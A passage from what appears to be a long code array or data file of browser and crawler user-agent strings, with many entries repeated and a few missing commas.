  2803. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  2804. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)",
  2805. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  2806. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  2807. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0",
  2808. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0",
  2809. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0"
  2810. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2811. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2812. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2813. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2814. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2815. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2816. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2817. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2818. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  2819. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2820. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2821. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2822. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2823. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2824. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2825. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2826. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2827. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2828. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2829. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2830. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  2831. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2832. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2833. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2834. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2835. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2836. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  2837. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2838. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  2839. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  2840. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  2841. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2842. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  2843. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  2844. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  2845. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2846. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  2847. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  2848. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  2849. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  2850. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  2851. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  2852. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  2853. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  2854. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  2855. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  2856. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2857. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2858. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2859. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  2860. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2861. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  2862. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  2863. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  2864. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  2865. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2866. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  2867. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  2868. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2869. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2870. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2871. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2872. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  2873. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2874. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  2875. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  2876. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  2877. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2878. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  2879. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  2880. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  2881. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2882. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  2883. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  2884. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  2885. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  2886. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  2887. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  2888. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  2889. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  2890. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  2891. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  2892. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2893. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2894. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2895. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  2896. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2897. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  2898. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  2899. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  2900. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  2901. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2902. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  2903. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  2904. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2905. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
  2906. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  2907. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  2908. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
  2909. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  2910. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  2911. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
  2912. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
  2913. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
  2914. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  2915. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  2916. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  2917. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10",
  2918. "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.5.24 Version/10.52",
  2919. "Mozilla/5.0 (Linux; Android 6.0.1; SM-G920V Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36",
  2920. "Opera/8.5 (X11; i686 Linux; U; ru, en_US)",
  2921. "SexShop.Sg/Nutch-1.1 (www.SexShop.Sg; crawler@SexShop.Sg)",
  2922. "Rome Client (http://tinyurl.com/64t5n) Ver: 0.9",
  2923. "Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13918/19.752; U; ru) Presto/2.6.25",
  2924. "Opera/9.80 (Windows NT 6.0; U; ru) Presto/2.5.22 Version/10.50",
  2925. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.24 Version/10.53 MM3-WebAssistant",
  2926. "C4PC UserAgent/0.7",
  2927. "Googlebot 1.01.003",
  2928. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
  2929. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3",
  2930. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
  2931. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0","Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2932. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  2933. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2934. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  2935. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  2936. "Opera/6.04 (Windows XP; U) [en]",
  2937. "Opera/9.99 (X11; U; sk)",
  2938. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  2939. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  2940. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  2941. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  2942. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  2943. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  2944. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2945. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2946. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2947. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2948. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2949. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2950. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2951. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2952. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  2953. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2954. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2955. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2956. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2957. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2958. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  2959. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2960. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  2961. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  2962. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  2963. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2964. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  2965. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  2966. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  2967. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2968. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  2969. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  2970. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  2971. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  2972. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  2973. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  2974. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  2975. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  2976. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  2977. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  2978. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2979. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2980. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2981. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  2982. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2983. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  2984. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  2985. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  2986. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  2987. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2988. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  2989. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  2990. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2991. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
  2992. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  2993. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  2994. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
  2995. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  2996. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  2997. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
  2998. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
  2999. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
  3000. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  3001. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  3002. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  3003. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10",
  3004. "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.5.24 Version/10.52",
  3005. "SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)",
  3006. "Opera/8.5 (X11; i686 Linux; U; ru, en_US)",
  3007. "SexShop.Sg/Nutch-1.1 (www.SexShop.Sg; crawler@SexShop.Sg)",
  3008. "Rome Client (http://tinyurl.com/64t5n) Ver: 0.9",
  3009. "Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13918/19.752; U; ru) Presto/2.6.25",
  3010. "Opera/9.80 (Windows NT 6.0; U; ru) Presto/2.5.22 Version/10.50",
  3011. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.24 Version/10.53 MM3-WebAssistant",
  3012. "C4PC UserAgent/0.7",
  3013. "Googlebot 1.01.003",
  3014. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
  3015. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3",
  3016. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
  3017. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0",
  3018. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Firefox/24.0",
  3019. "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)",
  3020. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  3021. "Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532",
  3022. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  3023. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1a2pre) Gecko/2008073000 Shredder/3.0a2pre ThunderBrowse/3.2.1.8",
  3024. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6",
  3025. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7pre) Gecko/20100925 Firefox/4.0b7pre",
